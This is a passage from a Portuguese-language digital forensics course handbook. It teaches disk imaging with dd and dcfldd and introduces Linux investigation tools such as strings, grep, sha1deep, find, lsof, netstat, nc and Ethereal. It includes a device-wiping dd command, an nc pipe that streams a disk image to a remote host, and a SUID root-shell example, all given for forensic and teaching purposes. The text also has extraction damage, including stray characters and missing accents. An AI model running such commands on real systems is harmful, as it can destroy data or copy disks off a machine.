EnCase, outros mais difundidos, como o formato DD.
Neste curso vamos utilizar o formato DD, por ser
mais difundido e mais facilmente manipulado dentro
de um ambiente Linux. Para coletar uma imagem de
um dispositivo de disco, utilizaremos a ferramenta dd
(da o nome do formato DD). Esta ferramenta, disponvel por padro em qualquer sistema Linux, permite
que se realizem cpias bit a bit entre dispositivos, ou
ento entre dispositivos e arquivos e vice-versa.
A necessidade de zerar o contedo do disco que vai
armazenar as evidncias existe mais no caso de ser
feita uma cpia de disco a disco. Como o disco novo
geralmente no exatamente igual ao disco copiado,
em termos de tamanho, geometria etc, pode ser que
existam algumas partes dele que no sejam sobrescritas pelo contedo do disco copiado. Com isso,
dados que possam existir no disco novo vo continuar
gravados nessas reas, podendo confundir o investigador posteriormente. Mesmo assim, a ao de zerar
o contedo dos discos de armazenagem uma boa
prtica que deve ser sempre seguida.

36

Escola Superior de Redes RNP


Como no temos um dispositivo que possa ser zerado, importante notar
que no executaremos esse comando com um dispositivo. A execuo desse
comando pode ser feita em um arquivo comum, por exemplo, copiando um
arquivo qualquer do diretrio /data e executando os comandos abaixo:
# strings a <arquivo.dat>8
# dd if=/dev/zero of=<arquivo.dat> conv=noerror bs=1024 count=40968
# strings a <arquivo.dat>8

Este comando copia 4 MB de zeros sobre o contedo do arquivo. Caso no seja


especificado o tamanho, o DD continuaria copiando zeros at preencher o disco.
No exemplo, mostramos que o contedo que existia no arquivo foi zerado (com os
dois comandos strings, antes e depois do DD).
Antes de copiar as evidncias, necessrio garantir que nosso dispositivo de
armazenagem est limpo. Uma maneira de garantir isso zerando o contedo do
disco antes de gravar qualquer evidncia. Fazemos isso com o seguinte comando:
# dd if=/dev/zero of=/dev/<dispositivo> bs=512 conv=noerror8
dd: writing `/dev/<dispositivo>: No space left on device
514018+0 records in
514017+0 records out
263176704 bytes (263 MB) copied, 4.17215 seconds, 63.1 MB/s

Preservao do disco
Passos para copiar uma partio de um disco para um
arquivo de imagem:
# dd if=/dev/sda1 of=/data/dev_sda1_swap.img bs=512
conv=noerror
514017+0 records in
514017+0 records out
263176704 bytes (263 MB) copied, 36.8564 seconds, 7.1 MB/s
# dd if=/dev/sda2 of=/data/dev_sda2.img_root.img bs=512
conv=noerror
514080+0 records in
514080+0 records out
263208960 bytes (263 MB) copied, 36.4338 seconds, 7.2 MB/s

Aqui mostramos como realizar a cpia do disco de


uma mquina suspeita. Este procedimento vale para
qualquer tipo de partio, mas em alguns casos, onde
o dispositivo de disco no tem uma partio DOS vlida
(disco da Sun ou Risc, por exemplo) a especificao
do dispositivo diferente. No entanto, como utilizamos
Linux, provavelmente seria possvel copi-lo tambm.
Estes so os passos para copiar uma partio de
um disco para um arquivo de imagem:
# dd if=/dev/sda1 of=/data/dev_sda1_swap.img bs=512
conv=noerror8
514017+0 records in
514017+0 records out
263176704 bytes (263 MB) copied, 36.8564 seconds,
7.1 MB/s

# dd if=/dev/sda2 of=/data/dev_sda2.img_root.img bs=512 conv=noerror8


514080+0 records in
514080+0 records out
263208960 bytes (263 MB) copied, 36.4338 seconds, 7.2 MB/s

Assim deve ser feito sucessivamente para todas as parties existentes no disco.
Este mtodo ideal para copiar uma partio hospedada em dispositivos RAID.
No caso de ser necessrio copiar todo o disco, a nica modificao a ser feita no
comando especificar o dispositivo completo no parmetro if=<dev>.
Anlise forense Sesso de aprendizagem 2

37

Veja o exemplo abaixo:


# dd if=/dev/sda of=/data/dev_sda.img bs=512 conv=noerror8

Outras formas de preservao do disco


Uma ferramenta do pacote forense Sleuth Kit pode ser
til para identificar a estrutura do disco ou imagem:
# /usr/local/sleuthkit-2.09/bin/mmls /dev/sda
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors
Slot
Start
End
Length
00: ----0000000000
0000000000
0000000001
01: ----0000000001
0000000062
0000000062
02: 00:00
0000000063
0000514079
0000514017
03: 00:01
0000514080
0001028159
0000514080
04: 00:02
0001028160
0016771859
0015743700
05: ----0001028160
0001028160
0000000001
06: ----0001028161
0001028222
0000000062
07: 01:00
0001028223
0016771859
0015743637
08: ----0016771860
0016777215
0000005356

Description
Primary Table (#0)
Unallocated
Linux Swap (0x82)
Linux (0x83)
DOS Extended (0x05)
Extended Table (#1)
Unallocated
Linux (0x83)
Unallocated

Outras formas de preservao do disco


Voltaremos ao Sleuth Kit na prxima sesso. Por
enquanto, importante mostrar como as parties
esto divididas no disco, e que possvel existirem
espaos vazios entre as parties, que podem
ser utilizados pelo hacker para armazenar dados
invisveis ao sistema operacional. Por exemplo, a
tabela de partio fica armazenada no setor 0, e normalmente tem tamanho de um bloco. Os outros 62
blocos at o incio da primeira partio esto livres.

Ao copiar a estrutura completa do disco, teremos


as parties do sistema, tabelas e estruturas do sistema de arquivos. Para ter
acesso s parties e seus contedos, precisamos separar as parties.
Uma ferramenta do pacote forense Sleuth Kit pode ser til para identificar a estrutura
do disco ou imagem:
# /usr/local/sleuthkit-2.09/bin/mmls /dev/sda8
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors
Slot
Start
End
00:
----0000000000
0000000000
01:
----0000000001
0000000062
02:
00:00
0000000063
0000514079
03:
00:01
0000514080
0001028159
04:
00:02
0001028160
0016771859
05:
----0001028160
0001028160
06:
----0001028161
0001028222
07:
01:00
0001028223
0016771859
08:
----0016771860
0016777215

Outras formas de preservao do disco


Com estas informaes possvel extrair as parties
individuais da imagem do disco completo:
# dd if=/dev/sda of=/data/dev_sda1_swap_raw.img bs=512
count=514017 skip=63
514017+0 records in
514017+0 records out
263176704 bytes (263 MB) copied, 12.2563 seconds, 21.5 MB/s
# sha1sum dev_sda1_swap.img dev_sda1_swap_raw.img
6a9f2bf4fb171512abb49c68b6ca4fc98b224e7e dev_sda1_swap.img
6a9f2bf4fb171512abb49c68b6ca4fc98b224e7e dev_sda1_swap_raw.img

Ambiente e ferramentas de anlise forense

Length
0000000001
0000000062
0000514017
0000514080
0015743700
0000000001
0000000062
0015743637
0000005356

Description
Primary Table (#0)
Unallocated
Linux Swap (0x82)
Linux (0x83)
DOS Extended (0x05)
Extended Table (#1)
Unallocated
Linux (0x83)
Unallocated

38

Escola Superior de Redes RNP

Outras formas de preservao do disco


Verso melhorada do DD, com capacidade de gerar um hash
automaticamente:
# dcfldd if=/dev/sda2 of=/data/dev_sda2_root.img bs=512 conv=noerror
hash=sha1 hashlog=dev_sda2_root.sha1 hashwindow=100M split=50M
103936 blocks (50Mb) written.
150528 blocks (73Mb) written.
514048 blocks (251Mb) written.
514080+0 records in
514080+0 records out
# cat dev_sda2_root.sha1
0 - 104857600: efffdd6f8ecae38aea95cd1862775e3489150a97
104857600 - 209715200: f93beb718b2beac9f10dbe80b7250207d46dbda1
209715200 - 263208960: e694b7c0f6140be5ca6c5167d07d99140b91678e
Total (sha1): 641a91271d0ed17a995a01d48b70591d599213da

No CD do Helix, existem outras ferramentas para


facilitar a coleta de imagens de disco, como uma
verso melhorada do DD, com capacidade de gerar
um hash automaticamente:
# dcfldd if=/dev/sda2 of=/data/dev_sda2_root.img
bs=512 conv=noerror8
hash=sha1 hashlog=dev_sda2_root.sha1 hashwindow=100
M split=50M
103936 blocks (50Mb) written.
150528 blocks (73Mb) written.
514048 blocks (251Mb) written.
514080+0 records in
514080+0 records out

# cat dev_sda2_root.sha18
0 - 104857600: efffdd6f8ecae38aea95cd1862775e3489150a97
104857600 - 209715200: f93beb718b2beac9f10dbe80b7250207d46dbda1
209715200 - 263208960: e694b7c0f6140be5ca6c5167d07d99140b91678e
Total (sha1): 641a91271d0ed17a995a01d48b70591d599213da

Adepto
Interface grfica para utilizar o dcfldd e outras ferramentas de coleta. Contm
muitas opes para gerao, armazenagem e verificao da imagem, alm de
manter um registro de todas as operaes realizadas.
# /usr/local/bin/adepto.sh8

Anlise forense Sesso de aprendizagem 2

39

Concluses

Concluses
Disponibilizar em sua estao forense o mximo
possvel de espao, processamento e memria.
Usar sistema operacional flexvel e confivel.
Possuir ferramentas prontas e atualizadas no
atendimento inicial a um incidente.
Evitar comprometer evidncias, coletando primeiro as
informaes mais volteis:
Memria RAM, informaes de rede, processos em
execuo, cpia do disco rgido, logs, histricos.
Estudar as ferramentas disponveis no Live-CD

Como a anlise de mdia necessita de muitos recursos


computacionais, quanto mais espao, processamento
e memria houver em sua estao forense, melhor.
No atendimento inicial a um incidente, o investigador
deve ter suas ferramentas prontas e atualizadas.
Um Live-CD especfico para anlise forense pode ser
muito til para quem no pode manter um conjunto
de ferramentas sempre atualizadas.

Deve-se evitar comprometer evidncias, coletando


primeiro as informaes mais volteis: memria RAM, informaes de rede, processos em execuo, cpia do disco rgido, logs, histricos.
Estude as ferramentas disponveis no Live-CD, pois elas podem facilitar significativamente o trabalho.
Na prxima sesso veremos ferramentas e tcnicas para coleta de evidncias a
partir da imagem do disco de uma mquina comprometida.

Ambiente e ferramentas de anlise forense

Escola Superior de Redes RNP

Anlise forense Sesso de aprendizagem 2

40

2
Sesso de aprendizagem 2
Ambiente e ferramentas de anlise forense
Roteiro de atividades
Tpicos e conceitos
\\Identificao

das ferramentas necessrias de hardware, sistema operacional e

Live-CD.
\\Preservao

de informaes volteis.

Competncias tcnicas desenvolvidas


\\Elaborao

de uma lista de hardware e software necessrios para iniciar uma


investigao;

\\Realizao

de coleta de evidncias volteis no computador.

Outras competncias desenvolvidas


\\Capacidade

de investigao e pesquisa do aluno.

Tempo previsto para as atividades


\\90

minutos

Escola Superior de Redes RNP

42

Atividade 1 Kit do investigador


Juntamente com um colega, crie uma lista de hardwares e softwares que


poderiam ser utilizados por um investigador forense. Seja bem especfico.
Procure na internet os equipamentos que o investigador poderia ter em
sua maleta de ferramentas (dica: hubs, placas wireless, equipamentos
para cpia de disco). D exemplos destes equipamentos encontrados na
internet.

Atividade 2 Coleta de informaes volteis


1. Durante a parte terica, voc coletou a memria RAM da mquina virtual.
Esta uma evidncia importante no s por conter dados dos programas
em execuo, mas tambm porque, muitas vezes, os dados permanecem
na memria mesmo aps o programa terminar. Examine o contedo
desde arquivo, descrevendo dados interessantes que voc pode encontrar
na memria, como textos em programas textos de ajuda, templates,
mensagens de erro etc. Seria possvel encontrar senhas na memria? E
textos que deveriam estar criptografados em formato de texto puro?
Prepare um pequeno relatrio de situaes onde estes tipos de dados
podem ser comprometidos, caso a memria da mquina seja pesquisada
durante a execuo de um programa. Pesquise na internet se existem
ferramentas que permitem analisar a memria RAM de uma forma mais
estruturada (a pesquisa pode ser feita em dupla).
2. Utilizando os comandos vistos durante essa sesso, vamos examinar
todas as informaes que podem ser coletadas a respeito de um binrio
em memria. Escolha um processo qualquer em sua mquina (ex: sshd,
pump, bash etc) e prepare um relatrio com todas as informaes que
encontrar sobre ele, sem modificar nenhuma informao em disco, isto ,
sem acessar o binrio fisicamente no disco. O relatrio dever conter, no
mnimo, os seguintes itens: nome do processo, PID, sockets ou conexes
de rede utilizados, memria ocupada pelo programa, local onde o binrio
est armazenado no disco, linha de comando utilizada na execuo do
processo, raiz e diretrio corrente do processo, variveis de ambiente,
mapa de utilizao da memria com explicaes sobre a estrutura, e o
prprio binrio.

Anlise forense Sesso de aprendizagem 2

3
Sesso de aprendizagem 3
Ambiente e ferramentas de anlise
forense (parte 2)
Sumrio da sesso
Software bsico de rede. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 44
Informaes sobre executveis. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 50
Pacote forense de ferramentas. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 53
Ferramentas do nvel de sistema de arquivos. . . . . . . . . . . . . . . . . . . . . . . . . . 56
Ferramentas do nvel de nomes de arquivos. . . . . . . . . . . . . . . . . . . . . . . . . . . 57
Ferramentas do nvel de metadados. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 57
Ferramentas do nvel de blocos de dados . . . . . . . . . . . . . . . . . . . . . . . . . . . . 59
Outras ferramentas. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61
CD de ferramentas. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 66
Concluses . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 67
Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 69
Atividade 1 Investigando o disco. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70
Atividade 2 Uso do Sleuth Kit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70

44

Escola Superior de Redes RNP

Software bsico de rede

Software bsico de rede


Nem sempre ser necessria a utilizao de
ferramentas complicadas para realizar uma anlise.
O Linux dispe de timas ferramentas para auxiliar o
trabalho de investigao.
Estas ferramentas bsicas so importantes para a
investigao, e o analista deve conhec-las muito
bem.
Tambm existem verses destas ferramentas para
Windows, mas precisam ser instaladas parte. No
Linux, elas j acompanham o sistema.

Este exemplo pode ser til para tentar detectar no


disco a presena de texto que poderia indicar o
comprometimento da mquina. Por exemplo, as mensagens presentes em uma ferramenta de rootkit. A
diferena, neste caso, que acessando diretamente
o dispositivo de disco no modificamos informaes
importantes no sistema de arquivos, tal como a data
de acesso/modificao dos arquivos.
strings

Software bsico de rede


strings
Extrai mensagens de texto de um arquivo.
# strings a /bin/bash
# strings a /dev/sda1 >
/data/dev_sda1_swap.img.str

Com o comando acima criamos um arquivo com todas


as mensagens contidas no dispositivo /dev/sda1.
Este arquivo pode ser usado para detectar a
existncia no dispositivo de algum contedo
comprometido.

Software bsico de rede

Extrai mensagens de texto de um arquivo. Esta


uma das principais ferramentas do investigador. Com
ela possvel detectar rapidamente se existe algum
contedo interessante em um arquivo suspeito. Pode
ser usada tanto em arquivos comuns como diretamente em um arquivo de dispositivo. Exemplo:
# strings a /bin/bash8
# strings a /dev/sda1 > /data/dev_sda1_swap.img.str8

Com o comando acima criamos um arquivo com todas


as mensagens contidas no dispositivo /dev/sda1.
Podemos utilizar este arquivo para detectar rapidamente se existe algum contedo comprometido no
dispositivo.
grep

grep
Procura por padres em um arquivo.
Usado em conjunto com strings torna-se uma
ferramenta importante para encontrar evidncias.
# grep -ia -f /data/dirt_list.txt
/data/dev_sda2_root.img
# grep ab Bash version
/data/dev_sda2_root.img
# grep E [0-9]{1,3}\.[0-9]{1,3}\.[09]{1,3}\.[0-9]{1,3}
/data/dev_sda2_root.img.str >
/data/dev_sda2_root.img.str.ips

Procura por padres em um arquivo. Usado em


conjunto com strings torna-se uma ferramenta importante para encontrar evidncias. Exemplo:
# grep -ia -f /data/dirt_list.txt /data/dev_sda2_ro
ot.img8
# grep ab Bash version /data/dev_sda2_root.img8
# grep E [0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9
]{1,3} /data/dev_sda2_root.img.str > /data/dev_sda
2_root.img.str.ips8

No primeiro exemplo do slide, utilizamos um arquivo com palavras suspeitas como


padro de busca. O comando mostrar as palavras constantes no arquivo /data/
dirt_list.txt que tambm aparecem na imagem de disco /data/dev_sda2_root.img.
No segundo exemplo, o comando imprimir o offset em bytes de onde a sequncia Bash version foi encontrada no arquivo /data/dev_sda2_root.img.

Anlise forense Sesso de aprendizagem 3

45

O ltimo exemplo mostra como utilizar o comando grep para encontrar mensagens a partir de uma expresso regular. Isto torna o grep muito poderoso para
encontrar evidncias.
md5sum / sha1sum / sha1deep

Software bsico de rede


md5sum / sha1sum / sha1deep
Geram um hash criptogrfico dos dados passados como
entrada. Exemplo:

# sha1sum /etc/passwd
b8e110c1a6834883b1cce60a85d7e8641cf34466/etc/passwd

sha1deep
Utilizado para monitorar a integridade do sistema ou procurar
por hashs atravs de uma lista de hashs conhecidos:
# sha1deep -r /bin /lib /sbin >
/data/system_hashs.sha1
# sha1deep -r -x /data/system_hashs.sha1 /bin
# sha1deep -r -m /data/badfiles_hashs.sha1 /

Geram um hash criptogrfico dos dados passados


como entrada. Estes comandos so importantes
para garantir a integridade de evidncias coletadas durante a investigao, bem como verificar a
autenticidade dos arquivos armazenados em disco.
Exemplo:
# sha1sum /etc/passwd8
b8e110c1a6834883b1cce60a85d7e8641cf34466 /etc/passwd

Podemos monitorar a integridade do sistema ou procurar por hashs atravs de uma lista de hashs conhecidos. Para isso, utilizamos
sha1deep, como no exemplo abaixo:
# sha1deep -r /bin /lib /sbin > /data/system_hashs.sha18
# sha1deep -r -x /data/system_hashs.sha1 /bin8
# sha1deep -r -m /data/badfiles_hashs.sha1 /8
\\O

primeiro comando do exemplo cria uma lista de hashs dos arquivos do


sistema;

\\O

segundo comando compara essa lista com os arquivos do sistema para


detectar mudanas;

\\O

terceiro comando procura por assinaturas de ferramentas e arquivos


comumente instalados pelo hacker.

Procura por arquivos a partir de algumas restries de busca. Pode encontrar


arquivos suspeitos no diretrio /dev, arquivos escondidos ou com caracteres
estranhos no nome, ou arquivos com permisses especficas. Estes arquivos
podem ser suspeitos, pois um arquivo com o bit setuid (stick bit) ligado pode indicar a presena de um root shell.
Antes da execuo do comando /data/bla, o usurio em questo era um usurio
comum. Aps a execuo, ele passa a ter um shell privilegiado, e seu EUID
(Effective User ID) passa a ser zero, indicando que a partir desse momento o usurio passa a ser o super usurio do sistema. Chamamos este tipo de arquivo de
root shell, e a forma utilizada normalmente pelo invasor para recuperar o status
de super usurio aps invadir e controlar um sistema.

Ambiente e ferramentas de anlise forense (parte 2)

46

Escola Superior de Redes RNP


find

Software bsico de rede


find
Procura no sistema por arquivos que casem com os
padres especificados a partir de algumas restries de
busca. Deve ser utilizado com cuidado, pois modifica as
datas de acesso dos arquivos pesquisados.
# find /bin/ -type f -exec grep -H "Bash
version" {} \;
# find /dev not type b and not type c
# find /data -name ".[. ]*"
# find / -perm +02000 or perm +04000

Procura no sistema por arquivos que casem com os


padres especificados a partir de algumas restries
de busca. Deve ser utilizado com cuidado, pois modifica as datas de acesso dos arquivos pesquisados.
# find /bin/ -type f -exec grep -H Bash version {}
\;8
# find /dev not type b and not type c8
# find /data -name .[. ]*8
# find / -perm +02000 or perm +040008

Software bsico de rede


Pode indicar a presena de um invasor, caso o
investigador encontre um programa suspeito com
permisses de SUID:
$ ls -l /data/bla
-rwsr-xr-x 1 root root 84008 Jan

6 18:04 /data/bla

$ id
uid=1000(knoppix) gid=1000(knoppix)
groups=1000(knoppix)
$ /data/bla

Pode indicar a presena de um invasor, caso o


investigador encontre um programa suspeito com
permisses de SUID:
$ ls -l /data/bla8
-rwsr-xr-x 1 root root 84008 Jan 6 18:04 /data/bla
$ id8
uid=1000(knoppix) gid=1000(knoppix) groups=1000(kno
ppix)
$ /data/bla8

# id
uid=1000(knoppix) gid=1000(knoppix) euid=0(root)
groups=1000(knoppix)

# id8
uid=1000(knoppix) gid=1000(knoppix) euid=0(root) gr
oups=1000(knoppix)

file

Software bsico de rede


file
Tenta identificar o tipo de um arquivo a partir de um banco de
assinaturas de arquivos conhecidos. Algumas vezes
importante saber o tipo de um arquivo suspeito.
# file /etc/passwd
/etc/passwd: ASCII text
# file /usr/share/icons/helix.png
/usr/share/icons/helix.png: PNG image data, 32 x
32, 8-bit/color RGBA, non-interlaced
# file /bin/bash
/bin/bash: ELF 32-bit LSB executable, Intel 80386,
version 1 (SYSV), for GNU/Linux 2.2.0, dynamically
linked (uses shared libs), stripped.

Tenta identificar o tipo de um arquivo a partir de


um banco de assinaturas de arquivos conhecidos.
Algumas vezes importante saber o tipo de um
arquivo suspeito.
# file /etc/passwd8
/etc/passwd: ASCII text
# file /usr/share/icons/helix.png8
/usr/share/icons/helix.png: PNG image data, 32 x
32, 8-bit/color RGBA, non-interlaced
# file /bin/bash8
/bin/bash: ELF 32-bit LSB executable, Intel 80386,
version 1 (SYSV), for GNU/Linux 2.2.0, dynamically
linked (uses shared libs), stripped.

O exemplo mostra algumas informaes interessantes que o investigador deve


levar em considerao quando estiver analisando arquivos suspeitos. Repare que
o resultado do comando indica que o arquivo /bin/bash linkado dinamicamente
com bibliotecas compartilhadas.

Anlise forense Sesso de aprendizagem 3

47

Isto significa que ele necessita de alguns arquivos externos para funcionar. Normalmente,
as ferramentas do sistema utilizam bibliotecas compartilhadas. O problema disso que
quando um invasor quiser comprometer os executveis do sistema, basta que substitua
as bibliotecas utilizadas por estes programas. Com isso, o hash criptogrfico dos arquivos
executveis no mudaria, mas eles no seriam mais confiveis.
A segunda coisa importante mostrada pelo comando acima que o arquivo /bin/
bash teve as informaes de debug removidas (stripped). Normalmente, isto
feito para diminuir o tamanho dos arquivos, mas tambm dificulta em descobrir a
utilidade de um programa, se no temos estas informaes. Encontrar um arquivo
suspeito que no tenha as informaes de debug removidas importante e pode
auxiliar bastante o investigador.
dd

Software bsico de rede


dd
Comando utilizado para copiar dados binrios, que
podem ser arquivos ou mesmo dispositivos fsicos.
Usado principalmente para realizar cpias fiis de
disco.
# dd if=/dev/sda of=/dev/sdb
# dd if=/dev/sda of=/data/partition_
table.img bs=512 count=1
# dd if=/dev/zero of=/dev/fd0 

Comando utilizado para copiar dados binrios, que


podem ser arquivos ou mesmo dispositivos fsicos.
Usado principalmente para realizar cpias fiis de disco.
# dd if=/dev/sda of=/dev/sdb8
# dd if=/dev/sda of=/data/partition_table.img
bs=512 count=18
# dd if=/dev/zero of=/dev/fd08

No primeiro exemplo criamos uma cpia fiel de um


dispositivo de disco em outro disco. Para todos os
efeitos, o contedo do segundo disco igual ao do disco original. Inclusive o hash
MD5 dos dois deve permanecer igual. Com o segundo comando, copiamos apenas
um bloco do dispositivo /dev/sda para o arquivo /data/partition_table.img. Este
bloco tem 512 bytes de tamanho, e o comando dd instrudo a copiar apenas um
bloco. Neste caso, copiamos a tabela de partio do dispositivo, ou seja, as informaes de como as parties esto organizadas no disco. No terceiro exemplo,
utilizamos o dispositivo virtual /dev/zero para sanitizar um disquete antes de us-lo
para armazenar evidncias. Isto importante para garantir que as evidncias no
vo ser confundidas com dados existentes previamente no disquete.

Software bsico de rede


netstat
Com este comando pode-se descobrir rapidamente a
existncia de portas de rede abertas na mquina ou
conexes atualmente estabelecidas.
possvel tambm descobrir a existncia de rotas
estticas inseridas manualmente. Exemplo:
# netstat nap
# netstat nr
# netstat -nlp

Ambiente e ferramentas de anlise forense (parte 2)

netstat
Com este comando pode-se descobrir rapidamente
a existncia de portas de rede abertas na mquina,
ou as conexes atualmente estabelecidas. possvel
tambm descobrir a existncia de rotas estticas
inseridas manualmente. Exemplo:
# netstat nap8
# netstat nr8
# netstat -nlp8

48

Escola Superior de Redes RNP


lsof

Software bsico de rede


lsof
Importante ferramenta de coleta de evidncias,
utilizada para listar todos os arquivos abertos.
Em um sistema operacional, qualquer recurso mantm
um arquivo aberto.
Conexes de rede, bibliotecas abertas, programas em
execuo, tudo vai ser listado pelo lsof.

# lsof i
# lsof U
# lsof l | grep LISTEN

Importante ferramenta de coleta de evidncias, utilizada para listar todos os arquivos abertos. Em um
sistema operacional, qualquer recurso mantm um
arquivo aberto. Conexes de rede, bibliotecas abertas, programas em execuo, tudo vai ser listado
pelo lsof. Exemplo:
# lsof i8
# lsof U8
# lsof l | grep LISTEN8

O comando lsof importante para detectar comportamento estranho dos programas executados. O que voc acharia, por exemplo, de um programa de edio de
textos (o vi, por exemplo), que mantm uma porta TCP aberta? Isto no comum,
e pode indicar a existncia de um trojan instalado na mquina.
nc

Software bsico de rede


nc
Cria uma conexo de rede com outro computador, ou
ento cria um listener em uma determinada porta.
Possibilita que o investigador copie arquivos e dados
de um computador para outro, no sendo necessrio
gravar nada no disco da mquina comprometida,
preservando evidncias.
# nc l p 9999 > /data/disco1.img.gz
# dd if=/dev/sda1 | gzip -9 c | nc p
9999 <ip_da_estacao_forense>

A funo desta ferramenta criar uma conexo


de rede com outro computador, ou ento criar
um listener em uma determinada porta. Com esta
ferramenta, o investigador poder copiar arquivos
e dados de um computador para outro, no sendo
necessrio gravar nada no disco da mquina comprometida, preservando evidncias. Exemplo:
# nc l p 9999 > /data/disco1.img.gz8
# dd if=/dev/sda1 | gzip -9 c | nc p 9999 <ip_da_
estacao_forense>8

O primeiro comando deve ser executado na estao forense, conectada mesma


rede da mquina comprometida. Ele cria um listener TCP na porta 9999, e direciona tudo o que for enviado a essa porta para o arquivo /data/disco1.img.gz.
O segundo comando, a ser executado na mquina comprometida, usa o dd para
ler o dispositivo /dev/sda1, passa este contedo pelo comando gzip (para compactar o contedo), e depois passa essa sada para o comando nc. Neste caso, o
comando nc est sendo utilizado para conexo na porta 9999 remota da mquina
com endereo <ip_da_estacao_forense>. Todo o contedo dos dois comandos
anteriores ser enviado para esta mquina.

Anlise forense Sesso de aprendizagem 3

49

Ethereal

Software bsico de rede


Ethereal
Esta ferramenta funciona como monitor de rede. Ela
serve para capturar todo o trfego de rede que chega
interface monitorada. Exemplo:
# ethereal -i eth0 -n -k -s 65535 -f "dst
net 192.168.0.0/16"
# ethereal i eth0 w /data/capture.log k
f "dst net 192.168.0.0/16 and port 22"
# ethereal r /data/capture.log n -f "src
net 192.168.0.0/16"

Esta ferramenta funciona como monitor de rede. Ela


serve para capturar todo o trfego de rede que chega
interface monitorada. Normalmente o investigador vai
utilizar esta ferramenta para monitorar a atividade de
rede entrando e saindo da mquina comprometida, a
partir da estao forense. Esta pode ser a primeira indicao de que a mquina est comprometida. Exemplo:
# ethereal -i eth0 -n -k -s 65535 -f dst net
192.168.0.0/168
# ethereal i eth0 w /data/capture.log k f dst
net 192.168.0.0/16 and port 22 8

# ethereal r /data/capture.log n -f src net 192.168.0.0/168

Os exemplos mostram como executar o Ethereal para monitorar visualmente o


trfego de rede que entra e sai da mquina. No segundo exemplo, o trfego
direcionado para o arquivo /data/capture.log, para ser examinado posteriormente.
Adicionalmente, somente ser capturado o trfego direcionado aos computadores
da rede 192.168.0.0/16, e que tenha como origem ou destino a porta 22.
No ltimo exemplo, o contedo do arquivo /data/capture.log lido, e somente
mostrado o trfego saindo da rede 192.168.0.0/16

Ambiente e ferramentas de anlise forense (parte 2)

50

Escola Superior de Redes RNP

Informaes sobre executveis

Informaes sobre executveis

hexdump

hexdump
Permite a visualizao de arquivos binrios em um formato
hexadecimal.
# hexdump
# hexdump
# hexdump
00000000
*
000001b0
000001c0
000001d0
000001e0
000001f0

-b
-d
-C
00

/data/partition_table.img
/data/partition_table.img
/data/partition_table.img
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

|................|

00
01
01
01
00

00
00
20
40
00

|................|
|....?.?.........|
|. ..?? ... .....|
|.@....@....:....|
|..............U.|

00
82
83
05
00

00
fe
fe
fe
00

00
3f
3f
ff
00

00
1f
3f
ff
00

00
3f
20
40
00

00
00
d8
b0
00

00
00
07
0f
00

00
00
00
00
00

00
e1
20
d4
00

00
d7
d8
3a
00

00
07
07
f0
00

00
00
00
00
00

00
00
00
00
55

01
00
00
00
aa

Algumas vezes pode ser interessante visualizar um


arquivo binrio em seu formato original, isto , sem
transfom-lo em texto puro. Para visualizar arquivos
binrios em um formato hexadecimal, podemos utilizar a ferramenta hexdump. Este comando permite
mostrar o contedo de um arquivo binrio em diversos formatos, especificados pelo usurio.
Exemplo:

# hexdump -b /data/partition_table.img8
# hexdump -d /data/partition_table.img8
# hexdump -C /data/partition_table.img8
00000000
*
000001b0
000001c0
000001d0
000001e0
000001f0

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00
01
01
01
00

00
00
20
40
00

00
82
83
05
00

00
fe
fe
fe
00

00
3f
3f
ff
00

00
1f
3f
ff
00

00
3f
20
40
00

00
00
d8
b0
00

00
00
07
0f
00

00
00
00
00
00

00
e1
20
d4
00

00
d7
d8
3a
00

00
07
07
f0
00

00
00
00
00
00

00
00
00
00
55

01
00
00
00
aa

|................|
|....?.?.........|
|. ..?? ... .....|
|.@....@....:....|
|..............U.|

Os trs comandos acima mostram o contedo do arquivo /data/partition_table.


img nos formatos octal, decimal e hexadecimal+ASCII, respectivamente. Um
exemplo da sada do comando hexadecimal+ASCII mostra como a sada do
programa. Repare que a segunda linha da sada um caracter *. Isso indica a
presena de uma ou mais linhas iguais linha anterior ao *, o que feito para
evitar a impresso de diversas linhas iguais.

Informaes sobre executveis


lsattr/chattr
Alm das permisses de acesso normais do arquivo
(leitura, escrita e execuo), existem permisses
extras no sistema de arquivos que permitem controlar
o acesso aos arquivos.
# rm -f /data/bla
rm: cannot remove `/data/bla': Operation not permitted
# lsattr /data/bla
----i------------ /data/bla
# chattr -i +u /data/bla

Anlise forense Sesso de aprendizagem 3

lsattr/chattr
Alm das permisses de acesso normais do arquivo
(leitura, escrita e execuo), existem permisses
extras no sistema de arquivos que permitem controlar
o acesso aos arquivos. No Linux, estes atributos
extendidos podem ser modificados ou verificados
com os comandos lsattr e chattr: append only (a),
compressed (c), no dump (d), immutable (i), data
journalling (j), secure deletion (s), no tail-merging (t),
undeletable (u), no atime updates (A), synchronous
directory updates (D), synchronous updates (S), top
of directory hierarchy (T). Normalmente o atributo
mais utilizado pelos invasores para proteger seus
arquivos o immutable.

51

Com este atributo, um arquivo no pode ser apagado nem modificado por nenhum
usurio do sistema. Exemplo:
# rm -f /data/bla8
rm: cannot remove `/data/bla: Operation not permitted
# lsattr /data/bla8
----i------------ /data/bla
# chattr -i +u /data/bla8

Em certas ocasies, um administrador de uma mquina comprometida pode


encontrar os arquivos instalados pelo invasor na mquina, e ao tentar remov-los,
percebe que no consegue. Mesmo acessando o sistema como root, o sistema
diz que no permitido remover tal arquivo.
Como vimos no exemplo, um arquivo com o atributo immutable no pode ser
removido nem mesmo pelo super usurio. O comando lsattr pode ser utilizado
para listar os atributos extendidos dos arquivos, e o comando chattr pode ser
utilizado para adicionar ou remover atributos extendidos.
Lembre-se de que encontrar um arquivo com atributos extendidos em uma
